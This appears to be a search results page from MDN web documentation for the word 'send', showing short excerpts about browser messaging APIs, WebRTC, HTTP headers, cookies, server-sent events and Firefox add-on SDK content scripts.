sends the message to every <browser> in every browser window. it's a chromemessagebroadcaster object, which implements the following interfaces: nsiframescriptloader nsimessagelistenermanager nsimessagebroadcaster you can access the global message manager like this: // chrome script let globalmm = cc["@mozilla.org/globalmessagemanager;1"] .getservice(ci.nsimessagelistenermanager); window ...
... it's a chromemessagebroadcaster object, which implements the following interfaces: nsiframescriptloader nsimessagelistenermanager nsimessagebroadcaster the window message manager can be accessed as a property of the browser window: // chrome script let windowmm = window.messagemanager; browser message manager the browser message ...
...And 5 more matches
IME handling guide
hange new composition string widget (or textcomposition) must not be nullptr text ecompositioncommitasis n/a (must be empty) nobody nullptr none ecompositioncommit commit string widget (or textcomposition) nullptr none presshell presshell receives the widget events and decides an event target from focused document and element. then, it
sends the events and the event target to imestatemanager. mozilla::imestatemanager imestatemanager looks for a textcomposition instance whose native ime context is same as the widget' which dispatches the widget event. if there is no proper textcomposition instance, it creates the instance. and it
sends the event to the textcomposition instance. note that all instances of textcomposition are manage...
...ds on the result of nsiwidget::getimeupdatepreference() what is observed. when this notifies something of widget and/or ime, it needs to be safe to run script because notifying something may cause dispatching one or more dom events and/or new reflow. therefore, imecontentobserver only stores which notification should be sent to widget and/or ime. then, mozilla::imecontentobserver::imenotification
sender tries to
send the pending notifications when it might become safe to do that. currently, it's tried: after a native event is dispatched from presshell::handleeventinternal() at changing focus from a windowless plugin when new focused editor receives dom "focus" event the 3rd timing may not be safe actually, but it causes a lot of oranges of automated tests. see also notifications to i...
...notifications when it might become safe to do that. currently, it's tried: after a native event is dispatched from presshell::handleeventinternal() at changing focus from a windowless plugin when new focused editor receives dom "focus" event the 3rd timing may not be safe actually, but it causes a lot of oranges of automated tests. see also notifications to ime section for the detail of
sending notifications. currently, widgetquerycontentevent is handled via imecontentobserver because if it has a cache of selection, it can set reply of equeryselectedtext event only with the cache. that is much faster than using contenteventhandler. e10s support even when a remote process has focus, native ime handler in chrome process does its job. so, there is process boundary between native ime ...
...And 5 more matches
WebChannel.jsm
be part of requests for this channel. webchannel(string webchannelid, string originorpermission); 2nd argument is a permission for which the permission manager will be checked to determine if the request is allowed. note that in addition to the permission manager check, the request must be made over https. method overview listen(function callback); stoplistening();
send(object message, eventtarget target); attributes id string webchannel id methods listen() registers the callback for messages on this channel. registers the channel itself with the webchannelbroker. parameters callback callback function containing function(id, message,
sendercontext) parameters. id - webchannel id of the incoming messages messa...
...get); attributes id string webchannel id methods listen() registers the callback for messages on this channel. registers the channel itself with the webchannelbroker. parameters callback callback function containing function(id, message,
sendercontext) parameters. id - webchannel id of the incoming messages message - incoming message object
sendercontext - incoming message context - this should be treated as an opaque object and passed to the .
send() method stoplistening() resets the callback for messages on this channel. removes the channel from the webchannelbroker. parameters none
send()
sends messages over the webchannel id using the "webchannelmessagetocontent" event. parameters message the message ...
...e context - this should be treated as an opaque object and passed to the .
send() method stoplistening() resets the callback for messages on this channel. removes the channel from the webchannelbroker. parameters none
send()
sends messages over the webchannel id using the "webchannelmessagetocontent" event. parameters message the message object that will be sent
sendercontext the
sendercontext parameter passed to the .listen method. ...
...And 5 more matches
RTCDataChannel.readyState - Web APIs
ss it. this is the default state of a new rtcdatachannel created by the webrtc layer when the remote peer created the channel and delivered to the site or app in a datachannel event of type rtcdatachannelevent. "closing" the process of closing the underlying data transport has begun. ...
...sing the underlying data transport has begun. it is no longer possible to queue new messages to be sent, but previously queued messages may still be
send or received before entering the "closed" state. "closed" the underlying data transport has closed, or the attempt to make the connection failed. ...
...ransport has begun. it is no longer possible to queue new messages to be sent, but previously queued messages may still be
send or received before entering the "closed" state. "closed" the underlying data transport has closed, or the attempt to make the connection failed. ...
...And 5 more matches
WebRTC Statistics API - Web APIs
collecting statistics you can collect statistics at various levels throughout the webrtc hierarchy of objects. most broadly, you can call getstats() on an rtcpeerconnection to get statistics for the connection overall. in this example, a new rtcpeerconnection is created, and then setinterval() is used to set the function getconnectionstats() to be called every second. that function, in turn, uses getstats() to obtain statistics for the connection and to make use of that data. ...
...stats rtcstats local-candidate statistics about a local ice candidate associated with the connection's rtcicetransports. rtcicecandidatestats rtcstats media-source statistics about the media produced by the mediastreamtrack attached to an rtp
sender. the dictionary this key maps to depends on the track's kind. rtcaudiosourcestats or rtcvideosourcestats rtcmediasourcestats rtcstats rtcaudiosourcestats or rtcvideosourcestats outbound-rtp statistics describing the state of one of the outbound data streams on this connection. rtcoutb...
...e perpsective of the remote peer. rtcremoteoutboundrtpstreamstats rtcsentrtpstreamstats rtcrtpstreamstats rtcstats sctp-transport statistics about an rtcsctptransport. ...
...And 5 more matches
window.postMessage() - Web APIs
password, it would be absolutely critical that this argument be a uri whose origin is the same as the intended receiver of the message containing the password, to prevent interception of the password by a malicious third party. always provide a specific targetorigin, not *, if you know where the other window's document should be located. failing to provide a specific target discloses the data you
send to any interested malicious site. transfer optional is a sequence of transferable objects that are transferred with the message. the ownership of these objects is given to the destination side and they are no longer usable on the
sending side. the dispatched event otherwindow can listen for dispatched messages by executing the following javascript: window.addeventlistener("message", receive...
...indow object that sent the message; you can use this to establish two-way communication between two windows with different origins. security concerns if you do not expect to receive messages from other sites, do not add any event listeners for message events. this is a completely foolproof way to avoid security problems. if you do expect to receive messages from other sites, always verify the
sender's identity using the origin and possibly source properties. any window (including, for example, http://evil.example.com) can
send a message to any other window, and you have no guarantees that an unknown
sender will not
send malicious messages. having verified identity, however, you still should always verify the syntax of the received message. otherwise, a security hole in the site you trusted...
... identity using the origin and possibly source properties. any window (including, for example, http://evil.example.com) can
send a message to any other window, and you have no guarantees that an unknown
sender will not
send malicious messages. having verified identity, however, you still should always verify the syntax of the received message. otherwise, a security hole in the site you trusted to
send only trusted messages could then open a cross-site scripting hole in your site. always specify an exact target origin, not *, when you use postmessage to
send data to other windows. a malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postmessage. secure shared memory messaging if postmessage() throws when used with s...
...And 5 more matches
HTTP headers - HTTP
nnection should stay open. content negotiation accept informs the server about the types of data that can be sent back. accept-charset which character encodings the client understands. accept-encoding the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back. accept-language informs the server about the human language the server is expected to
send back. this is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language from a dropdown). controls expect indicates expectations that need to be fulfilled by the server to properly handle the request. max-forwards cookies cookie contains stored http cookies previously sen...
...ll control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language from a dropdown). controls expect indicates expectations that need to be fulfilled by the server to properly handle the request. max-forwards cookies cookie contains stored http cookies previously sent by the server with the set-cookie header. set-cookie
send cookies from the server to the user-agent. cookie2 contains an http cookie previously sent by the server with the set-cookie2 header, but has been obsoleted. use cookie instead. set-cookie2
sends cookies from the server to the user-agent, but has been obsoleted. use set-cookie instead. cors learn more about cors here. access-control-allow-origin indicates whether the response can b...
...g unnoticed. when a site enables the expect-ct header, they are requesting that chrome check that any certificate for that site appears in public ct logs. feature-policy provides a mechanism to allow and deny the use of browser features in its own frame, and in iframes that it embeds. strict-transport-security (hsts) force communication using https instead of http. upgrade-insecure-requests
sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the upgrade-insecure-requests directive. x-content-type-options disables mime sniffing and forces browser to use the type given in content-type. x-download-options the x-download-options http header indicates that the browser (internet explorer) should ...
...And 5 more matches
Content Scripts - Archive of obsolete content
the jquery object added by the library - but the content script can add its own jquery object, and it won't clash with the page script's version. interacting with page scripts usually the insulation between content scripts and page scripts is what you want. but sometimes you might want to interact with page scripts: you might want to share objects between content scripts and page scripts or to
send messages between them. if you need to do this, read about interacting with page scripts. event listeners you can listen for dom events in a content script just as you can in a normal page script, but there are two important differences: first, if you define an event listener by passing it as a string into setattribute(), then the listener is evaluated in the page's context, so it will not have...
...(), defining the listener as a function: var themessage = "hello from content script!"; anelement.onclick = function() { alert(themessage); }; anotherelement.addeventlistener("click", function() { alert(themessage); }); communicating with the add-on to enable add-on scripts and content scripts to communicate with each other, each end of the conversation has access to a port object. ...
...t.addeventlistener("click", function() { alert(themessage); }); communicating with the add-on to enable add-on scripts and content scripts to communicate with each other, each end of the conversation has access to a port object. to
send messages from one side to the other, use port.emit() to receive messages sent from the other side, use port.on() messages are asynchronous: that is, the
sender does not wait for a reply from the recipient but just emits the message and continues processing. ...
...And 4 more matches
widget - Archive of obsolete content
xt. scripting widget content to interact with the widget's content you need to load a separate script into the panel. in the sdk these scripts are called "content scripts" because they're explicitly used for interacting with web content. while content scripts can access the content they're attached to, they can't use the sdk's apis. so implementing a complete solution usually means you have to
send messages between the content script and the main add-on code. you can specify one or more content scripts to load into the widget using the contentscript or contentscriptfile options to the widget() constructor. you can communicate with the script using either the postmessage() api or (preferably, usually) the port api. unless your content script is extremely simple and consists ...
...easier to maintain, secure, debug and review. for example, suppose we want to implement a media player as an add-on. we could implement the main user interface as a widget hosting an array of buttons to control play/pause/stop functions. we can then use a content script to listen for clicks on those buttons. but because content scripts can't use the sdk's apis, we'll want the content script to
send messages to the main add-on code, which can then implement the media player functions using the sdk. the widget's content is specified using html like this: <html> <body> <img src="play.png" id="play-button"> <img src="pause.png" id="pause-button"> <img src="stop.png" id="stop-button"> </body> </html> we just include three icons, and assign an id to each one. this html file, an...
...his: <html> <body> <img src="play.png" id="play-button"> <img src="pause.png" id="pause-button"> <img src="stop.png" id="stop-button"> </body> </html> we just include three icons, and assign an id to each one. this html file, and the icon files it references, are saved in the add-on's data directory. ...
...And 4 more matches
dev/panel - Archive of obsolete content
}); in the constructor definition there are a number of mandatory and optional parameters for you to supply. name typ...
...ssages with the debugger server. optional dispose function a function that will be called when the panel is about to be destroyed. you can use it to do any cleanup. optional onready function an event handler that will be called when the document in the panel becomes interactive. it's equivalent to document.readystate === "interactive". at this point you can
send the panel document messages. optional onload function an event handler that will be called after the document in the panel is fully loaded. it's equivalent to document.readystate === "complete". optional once you've defined the panel's constructor you have to export it so it can be called by the framework. creating a tool next, you need to create a new tool using the...
...y privileged apis, including the add-on sdk apis. however, it can receive messages from the add-on that created it, and the add-on can pass it the debuggee so it can communicate with the debugger server the developer tools are targeting. communicating with the panel document the main add-on code can't directly access the panel document or any scripts loaded by the panel document. however it can
send messages to the panel document using the postmessage method of panel. this is closely modeled on window.postmessage. you can only
send the panel document message after you've received the ready event. in the main add-on code: // main.js // require the sdk modules const { panel } = require("dev/panel"); const { tool } = require("dev/toolbox"); const { class } = require("sdk/core/heritage"); co...
...And 4 more matches
WebRequest.jsm
dd-on code. there are some differences between this api and chrome's, though: see chrome incompatibilities for the details. usage to import webrequest, use code like: let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); the webrequest object has the following properties, each of which corresponds to a specific stage in executing a web request: onbeforerequest onbefore
sendheaders on
sendheaders onheadersreceived onresponsestarted oncompleted each of these objects defines two functions: addlistener(callback, filter, opt_extrainfospec) removelistener(callback) adding listeners use addlistener to add a listener to a particular event. it takes one mandatory argument and two optional arguments, as detailed below. name type description ...
...perform one of these operations, include a property with the appropriate name in the object returned from the listener, and assign it the desired value, as detailed in the table below: operation available in return property cancel onbeforerequest cancel boolean value set to true. see some examples of canceling requests. redirect onbefore
sendheaders redirecturl string set to the url to redirect the request to. see some examples of redirection. modify request headers onbefore
sendheaders requestheaders array of http headers. modify response headers onheadersreceived responseheaders array of http headers. see some examples of canceling, redirecting, and mod...
...tion url string target of the request. windowid number the id of the window making the request, as an outerwindowid. parentwindowid number type string the resource type. browser object the xul browser into which the resource will be loaded, or null if the resource will not be loaded into a xul browser. onbefore
sendheaders this event is triggered before
sending any http data, but after all http headers are available. this is a good place to listen if you want to modify http headers. opt_extrainfospec values name description "blocking" make the browser wait until the listener returns. use this if you want to redirect the request or modify request headers. see examples of redirec...
...And 4 more matches
sslfnc.html
nsport layer security (tls) protocol, rfc 2246, is a modified version of ssl3. it uses the ssl version number 3.1, appearing to be a "minor" revision of ssl 3.0. nss 2.8 supports tls in addition to ssl2 and ssl3. you can think of it as "ssl_enable_ssl3.1". see the description below for more information about this option. ssl_v2_compatible_hello tells the ssl library whether or not to
send ssl3 client hello messages in ssl2-compatible format. if set to pr_true, it will; otherwise, it will not. factory setting is on (pr_true). see the description below for more information on this option. ssl_no_cache disallows use of the session cache. factory setting is off. if you turn this option on, this socket will be unable to resume a session begun by another socket. when this s...
...sl_optionset. the ssl protocol is defined to be able to handle simultaneous two-way communication between applications at each end of an ssl connection. two-way simultaneous communication is also known as "full duplex", abbreviated fdx. however, most application protocols that use ssl are not two-way simultaneous, but two-way alternate, also known as "half dupled"; that is, each end takes turns
sending, and each end is either
sending, or receiving, but not both at the same time. for an application to do full duplex, it would typically have two threads sharing the socket; one doing all the reading and the other doing all the writing. the ssl_enable_fdx option tells the ssl library whether the application will have two threads, one reading and one writing, or just one thread doing reads ...
... application to do full duplex, it would typically have two threads sharing the socket; one doing all the reading and the other doing all the writing. the ssl_enable_fdx option tells the ssl library whether the application will have two threads, one reading and one writing, or just one thread doing reads and writes alternately. ssl_v2_compatible_hello tells the ssl library whether or not to
send ssl3 client hello messages in ssl2-compatible format. if an ssl3 client hello message is sent to a server that only understands ssl2 and not ssl3, then the server will interpret the ssl3 client hello as a very large message, and the connection will usually seem to "hang" while the ssl2 server expects more data that will never arrive. for this reason, the ssl3 spec allows ssl3 client hellos to be ...
...And 4 more matches
nsIFrameMessageManager
local frames. this provides a way for local frames to receive messages from remote frames. 1.0 66 introduced gecko 2.0 obsolete gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) this interface is obsolete and was removed in firefox 17. ...
...this listener will receive messages sent from the remote frame. ...
...ifications :: message manager. removemessagelistener() removes a message listener previously added by calling addmessagelistener(). void removemessagelistener( in astring amessage, in nsiframemessagelistener alistener ); parameters amessage the name of the message for which to remove a listener. alistener an object implementing nsiframemessagelistener to stop receiving messages. ...
...And 4 more matches
Using files from web applications - Web APIs
mple shows a possible use of the size property: <!doctype html> <html> <head> <meta charset="utf-8"> <title>file(s) size</title> </head> <body> <form name="uploadform"> <div> <input id="uploadinput" type="file" name="myfiles" multiple> selected files: <span id="filenum">0</span>; total size: <span id="filesize">0</span> </div> <div><input type="submit" value="
send file"></div> </form> <script> function updatesize() { let nbytes = 0, ofiles = this.files, nfiles = ofiles.length; for (let nfileid = 0; nfileid < nfiles; nfileid++) { nbytes += ofiles[nfileid].size; } let soutput = nbytes + " bytes"; // optional code for multiples approximation const amultiples = ["kib", "mib", "gib", "tib", "pib", "eib", "zib...
.... this can be done asynchronously very easily. creating the upload tasks continuing with the code that built the thumbnails in the previous example, recall that every thumbnail image is in the css class obj with the corresponding file attached in a file attribute. this allows us to select all of the images the user has chosen for uploading using document.queryselectorall(), like this: function
sendfiles() { const imgs = document.queryselectorall(".obj"); for (let i = 0; i < imgs.length; i++) { new fileupload(imgs[i], imgs[i].file); } } line 2 fetches a nodelist, called imgs, of all the elements in the document with the css class obj. in our case, these will be all of the image thumbnails. once we have that list, it's trivial to go through it and create a new fileupload instance...
... before actually transferring the data, several preparatory steps are taken: the xmlhttprequest's upload progress listener is set to update the throbber with new ...
...And 4 more matches
RTCOutboundRtpStreamStats - Web APIs
the rtcoutboundrtpstreamstats dictionary is the rtcstats-based object which provides metrics and statistics related to an outbound rtp stream being sent by an rtcrtp
sender. properties the rtcoutboundrtpstreamstats dictionary includes the following properties in addition to those it inherits from rtcsentrtpstreamstats, rtcrtpstreamstats, and rtcstats. averagertcpinterval a floating-point value indicating the average rtcp interval between two consecutive compound rtcp packets. fircount an integer value which indicates the total number of full intra request (fir) packets which this rtcrtp
sender has sent to the remote rtcrtpreceiver. this is an indicator of how often the stream has lagged, requiring frames to be skipped in order to catch up. valid only for video streams. framesencoded t...
...only valid for video streams. lastpacketsenttimestamp a domhighrestimestamp indicating the time at which the last packet was sent for this ssrc. ...
...n this rtp stream. only valid for video streams. lastpacketsenttimestamp a domhighrestimestamp indicating the time at which the last packet was sent for this ssrc. the timestamp property, on the other hand, indicates the time at which the rtcoutboundrtpstreamstats object was generated. nackcount an integer value indicating the total number of negative acknolwedgement (nack) packets this rtcrtp
sender has received from the remote rtcrtpreceiver. perdscppacketssent a record of key-value pairs with strings as the keys mapped to 32-bit integer values, each indicating the total number of packets this rtcrtp
sender has transmitted for this source for each differentiated services code point (dscp). plicount an integer specifying the number of times the remote receiver has notified this rtcrtpse...
...And 4 more matches
Using server-sent events - Web APIs
developing a web application that uses server-sent events is straightforward. you'll need a bit of code on the server to stream events to the front-end, but the client side code works almost identically to websockets in part of handling incoming events. this is one-way connection, so you can't
send events from a client to a server. receiving events from the server the server-sent event api is contained in the eventsource interface; to open a connection to the server to begin receiving events from it, create a new eventsource object with the url of a script that generates the events. for example: const evtsource = new eventsource("ssedemo.php"); if the event generator script is hosted on a different origin, a new eventsource object should be created with both the url and an options dicti...
...the document's html. you can also listen for events with addeventlistener(): evtsource.addeventlistener("ping", function(event) { const newelement = document.createelement("li"); const time = json.parse(event.data).time; newelement.innerhtml = "ping at " + time; eventlist.appendchild(newelement); }); this code is similar, except that it will be called automatically whenever the server
sends a message with the event field set to "ping"; it then parses the json in the data field and outputs that information. when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be especially painful when opening multiple tabs, as the limit is per browser and is set to a very low number (6). the issue has been marked as "won't fix" in chrome an...
.... the issue has been marked as "won't fix" in chrome and firefox. this limit is per browser + domain, which means that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com (per stackoverflow). when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100).
sending events from the server the server-side script that
sends events needs to respond using the mime type text/event-stream. each notification is sent as a block of text terminated by a pair of newlines. for details on the format of the event stream, see event stream format. the php code for the example we're using here follows: date_default_timezone_set("america/new_york"); header("cache-contro...
...And 4 more matches
WebRTC API - Web APIs
er.js, see improving compatibility using webrtc adapter.js. webrtc concepts and usage webrtc serves multiple purposes; together with the media capture and streams api, they provide powerful multimedia capabilities to the web, including support for audio and video conferencing, file exchange, screen sharing, identity management, and interfacing with legacy telephone systems including support for
sending dtmf (touch-tone dialing) signals. connections between peers can be made without requiring any special drivers or plug-ins, and can often be made without any intermediary servers. connections between two peers are represented by the rtcpeerconnection interface. once a connection has been established and opened using rtcpeerconnection, media streams (mediastreams) and/or data channels (rtcdata...
...o the connection. media streams can consist of any number of tracks of media information; tracks, which are represented by objects based on the mediastreamtrack interface, may contain one of a number of types of media data, including audio, video, and text (such as subtitles or even chapter names). most streams consist of at least one audio track and likely also a video track, and can be used to
send and receive both live media or stored media information (such as a streamed movie). you can also use the connection between two peers to exchange arbitrary binary data using the rtcdatachannel interface. this can be used for back-channel information, metadata exchange, game status packets, file transfers, or even as a primary channel for data transfer. more details and links to relevant guides ...
...statistics api. rtcicecandidate represents a candidate interactive connectivity establishment (ice) server for establishing an rtcpeerconnection. rtcicetransport represents information about an ice transport. rtcpeerconnectioniceevent represents events that occur in relation to ice candidates with the target, usually an rtcpeerconnection. only one event is of this type: icecandidate. rtcrtp
sender manages the encoding and transmission of data for a mediastreamtrack on an rtcpeerconnection. rtcrtpreceiver manages the reception and decoding of data for a mediastreamtrack on an rtcpeerconnection. rtctrackevent the interface used to represent a track event, which indicates that an rtcrtpreceiver object was added to the rtcpeerconnection object, indicating that a new incoming mediastream...
...And 4 more matches
Using HTTP cookies - HTTP
typically, it's used to tell if two requests came from the same browser — keeping a user logged-in, for example. it remembers stateful information for the stateless http protocol. cookies are mainly used for three purposes: session management logins, shopping carts, game scores, or anything else the server should remember personalization user preferences, themes, and other settings tracking recording and analyzing user behavior cookies were once used for general client-side storage. ...
...n worsen performance (especially for mobile data connections). modern apis for client storage are the web storage api (localstorage and sessionstorage) and indexeddb. to see stored cookies (and other storage that a web page can use), you can enable the storage inspector in developer tools and select cookies from the storage tree. creating cookies after receiving an http request, a server can
send one or more set-cookie headers with the response. the cookie is usually stored by the browser, and then the cookie is sent with requests made to the same server inside a cookie http header. an expiration date or duration can be specified, after which the cookie is no longer sent. additional restrictions to a specific domain and path can be set, limiting where the cookie is sent. for details about...
...server inside a cookie http header. an expiration date or duration can be specified, after which the cookie is no longer sent. additional restrictions to a specific domain and path can be set, limiting where the cookie is sent. for details about the header attributes mentioned below, refer to the set-cookie reference article. ...
...And 4 more matches
A typical HTTP session - HTTP
as of http/1.1, the connection is no longer closed after completing the third phase, and the client is now granted a further request: this means the second and third phases can now be performed any number of times. ...
... as of http/1.1, the connection is no longer closed after completing the third phase, and the client is now granted a further request: this means the second and third phases can now be performed any number of times. ...
...ransport layer, usually this is tcp. with tcp the default port, for an http server on a computer, is port 80. other ports can also be used, like 8000 or 8080. the url of a page to fetch contains both the domain name, and the port number, though the latter can be omitted if it is 80. see identifying resources on the web for more details. ...
...And 4 more matches
remote/parent - Archive of obsolete content
// remote.js const { frames } = require("sdk/remote/child"); frames.addeventlistener("pageshow", function() { // `this` is bound to the frame the event came from let frame = this; frame.port.emit("pageshow"); }, true); // main.js const { frames, remoterequire } = require("sdk/remote/parent"); remot...
...require("sdk/remote/parent"); remoterequire("./remote.js", module); // the first argument is the frame the message came from frames.port.on("pageshow", (frame) => { console.log(frame.frameelement.currenturi.host + ": pageshow"); }); globals functions remoterequire(id, module = null) loads a module in any existing and future child processes. the module loads asynchronously but you can start
sending messages to the module immediately. you can use an absolute path to the module or a relative path. if you use a relative path, you must use the module parameter. const { remoterequire } = require("sdk/remote/parent"); remoterequire("./my-module.js", module); note that even single-process applications have a process that contains content frames. for consistency and to make writing multiproce...
...es } = require("sdk/remote/parent"); processes.on("attach", function(process) { console.log("new process is remote: " + process.isremote); }); methods forevery(callback) calls the callback for every existing process and any new processes created in the future. this is a shortcut for enumerating existing processes and then listening for attach events. properties port an event emitter that
sends messages to and receives messages from all processes. events attach event emitted when a new process is started. the event handler is called with a process representing the new process. detach event emitted when a process disconnects from the application. it may have been closed normally or it may have crashed. the event handler is called with the process that detached. frames a list of t...
...And 3 more matches
Creating annotations - Archive of obsolete content
and a panel for the user to enter the annotation text itself. selector page-mod selector content scripts the content script for the selector page-mod uses jquery to examine and manipulate the dom. its main job is to maintain a matched element: this is the page element that is the current candidate for an annotation. the matched element is highlighted and has a click handler bound to it which
sends a message to the main add-on code. the selector page mod can be switched on and off using a message from the main add-on code. it is initially off: var matchedelement = null; var originalbgcolor = null; var active = false; function resetmatchedelement() { if (matchedelement) { (matchedelement).css('background-color', originalbgcolor); (matchedelement).unbind('click.annotator'); } ...
...lement is eligible for annotation. an element is eligible if it, or one of its ancestors in the dom tree, has an attribute named "id". the idea here is to make it more likely that the annotator will be able to identify annotated elements correctly later on. if the page element is eligible for annotation, then the selector highlights that element and binds a click handler to it. the click handler
sends a message called show back to the main add-on code. the show message contains: the url for the page, the id attribute value, and the text content of the page element. $('*').mouseenter(function() { if (!active || $(this).hasclass('annotated')) { return; } resetmatchedelement(); ancestor = $(this).closest("[id]"); matchedelement = $(this).first(); originalbgcolor = $(matchedeleme...
...ttach event, which will call the listener function we've assigned to onattach. the handler is passed a worker object. each worker represents a channel of communication between the add-on code and any content scripts running in that particular page context. for a more detailed discussion of the way page-mod uses workers, see the page-mod documentation. in the attach handler we do three things:
send the content script a message with the current activation status add the worker to an array called selectors so we can
send it messages later on assign a message handler for messages from this worker. if the message is show we will just log the content for the time being. if the message is detach we remove the worker from the selectors array. at the top of the file import the page-mod module a...
...And 3 more matches
Index - Archive of obsolete content
247 installing extensions and themes from web pages add-ons, extensions, obsolete, themes there are a variety of ways you can install extensions and themes from web pages, including direct linking to the xpi files and using the installtrigger object. 248 interaction between privileged and non-privileged pages add-ons, code snippets, extensions an easy way to
send data from a web page to an extension is by using custom dom events. in your extension's browser.xul overlay, write code which listens for a custom dom event. here we call the event myextensionevent. 249 jetpack processes jetpack jetpack processes are created by components that implement the nsijetpackservice interface, and their parent chrome process communicates with them vi...
... vms against each other export avm2=<path to 2nd vm> or use --avm2=<path to 2nd vm>. the percentage difference is calculated between the two vms. see the --help usage for more details about performance tests. 657 cmdline tests the cmdline testsuite is located in test/cmdline. the testsuite allows more flexibility by coding scripts in python allowing any executable to run,
sending commands to stdin, and asserting output using regular expressions. see test/cmdline/readme document for more information. two use cases for the cmdline testsuite: 658 running tamarin acceptance tests the tamarin acceptance tests can be used to verify your installation and or local changes that you have made to the source. to run acceptance tests on the android shell see...
...adiogroup or descendants. place the radiogroup inside a groupbox if you would like a border or caption for the group. the radiogroup defaults to vertical orientation. 1894 resizer xul elements, xul reference an element used for window resizing. if you place a custom resizing button inside the resizer, the user will be able to resize the window by dragging it. the resizer will
send a command event after the resize is complete. 1895 richlistbox xul elements, xul reference this element is used to create a list of listitems (richlistitems), similar to a listbox, but is designed to be used when the items do not contain simple text content. 1896 richlistitem needsexample, xul elements, xul reference an individual item in a richlistbox. ...
...And 3 more matches
Basic native form controls - Learn web development
ckers). note: you can find examples of all the single line text field types on github at single-line-text-fields.html (see it live also). here is a basic single line text field example: <input type="text" id="comment" name="comment" value="i'm a text field"> single line text fields have only one true constraint: if you type text with line breaks, the browser removes those line breaks before
sending the data to the server. the following screenshot shows default, focused and disabled text input types in firefox 71 and safari on macos and in chrome 79 and edge 18 on windows 10. note: html5 enhanced the basic original single line text field by adding special values for the type attribute that enforce specific validation constraints and other features, for example specific to entering ur...
...ent in plain text, which is bad for security — a malicious party could intercept your data and steal passwords, credit card details, or whatever else you've submitted. the best way to protect users from this is to host any pages involving forms over a secure connection (i.e. at an https:// ... address), so the data is encrypted before it is sent. browsers recognize the security implications of
sending form data over an insecure connection, and have warnings to deter users from using insecure forms. for more information on what firefox implements, see insecure passwords. hidden content another original text control is the hidden input type. this is used to create a form control that is invisible to the user, but is still sent to the server along with the rest of the form data once submitte...
...g screenshots show unchecked and checked radio buttons, radio buttons that have focus, and disabled unchecked and checked radio buttons — on firefox 71 and safari 13 on macos and chrome 79 and edge 18 on windows 10. actual buttons the radio button isn't actually a button, despite its name; let's move on and look at actual buttons! there are three input types that produce buttons: submit
sends the form data to the server. for <button> elements, omitting the type attribute (or an invalid value of type) results in a submit button. reset resets all form widgets to their default values. button buttons that have no automatic effect but can be customized using javascript code. then we also have the <button> element itself. this can take a type attribute of value submit, reset, or butt...
...And 3 more matches
Cross Process Object Wrappers
, the messaging framework enables frame scripts to make content objects available to chrome through a wrapper called a cross process object wrapper, also known as a cpow. however, although cpows are convenient, they have serious limitations and can cause responsiveness problems, so should only be used when necessary and only as a migration aid. ...
...tent objects available to chrome through a wrapper called a cross process object wrapper, also known as a cpow. however, although cpows are convenient, they have serious limitations and can cause responsiveness problems, so should only be used when necessary and only as a migration aid. passing cpows from frame scripts frame scripts can
send messages to chrome using one of two global functions:
sendasyncmessage() or
sendsyncmessage(). ...
...ns and can cause responsiveness problems, so should only be used when necessary and only as a migration aid. passing cpows from frame scripts frame scripts can
send messages to chrome using one of two global functions:
sendasyncmessage() or
sendsyncmessage(). the optional third parameter to each of these functions is an object whose properties are objects to wrap. for example, this frame script
sends a dom node to chrome when the user clicks it, as the clicked property of the third argument: // frame script addeventlistener("click", function (event) {
sendasyncmessage("my-e10s-extension-message", {}, { clicked : event.target }); }, false); in the chrome script, the dom node is now accessible through a cross process object wrapper, as a property of the objects property of the message. the...
...And 3 more matches
nsISmsService
dom/sms/interfaces/nsismsservice.idlscriptable used to
send sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsservice;1. ...
...refox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsservice;1. ...
... .createinstance(components.interfaces.nsismsservice); method overview [implicit_jscontext] nsidommozsmsmessage createsmsmessage(in long id, in domstring delivery, in domstring
sender, in domstring receiver, in domstring body, in jsval timestamp, in bool read ); unsigned short getnumberofmessagesfortext(in domstring text); boolean hassupport(); void
send(in domstring number, in domstring message, in long requestid, [optional] in unsigned long long processid); methods createsmsmessage() [implicit_jscontext] nsidommozsmsmessage createsmsmessage( in long id, in domstring delivery, in domstring
sender, in domstring receiver, in domstring body, in jsval timestamp, in bool read ); parameters id a number representing the id ...
...And 3 more matches
RTCPeerConnection: icecandidate event - Web APIs
scription there are three reasons why the icecandidate event is fired on an rtcpeerconnection. sharing a new candidate the majority of icecandidate events are fired to indicate that a new candidate has been gathered. this candidate needs to be delivered to the remote peer over the signaling channel your code manages. rtcpeerconnection.onicecandidate = (event) => { if (event.candidate) {
sendcandidatetoremotepeer(event.candidate) } else { /* there are no more candidates coming during this negotiation */ } } the remote peer, upon receiving the candidate, will add the candidate to its candidate pool by calling addicecandidate(), passing in the candidate string you have passed along using the signaling server. indicating the end of a generation of candidates when an ice negot...
...ed gathering candidates and the value of the rtcpeerconnection object's icegatheringstate has made the transition to complete, an icecandidate event is sent with the value of complete set to null. this signal exists for backward compatibility purposes and does not need to be delivered onward to the remote peer (which is why the code snippet above checks to see if event.candidate is null prior to
sending the candidate along. if you need to perform any special actions when there are no further candidates expected, you're much better off watching the ice gathering state by watching for icegatheringstatechange events: pc.addeventlistener("icegatheringstatechange", ev => { switch(pc.icegatheringstate) { case "new": /* gathering is either just starting or has been reset */ break...
...know when the value of the rtcpeerconnection property icegatheringstate has been updated. if that value is now complete, you know that ice gathering has just ended. this is a more reliable approach than looking at the individual ice messages for one indicating that the ice session is finished. ...
...And 3 more matches
RTCRtpStreamStats - Web APIs
while the dictionary has a base set of properties that are present in each of these cases, there are also additional properties added depending on which interface the method is called on. rtcrtpstreamstats is the base class for all rtp-related statistics reports. it's based on rtcstats and adds the following additional fields. note: this interface was called rtcrtpstreamstats until a specification update in the spring of 2017. ...
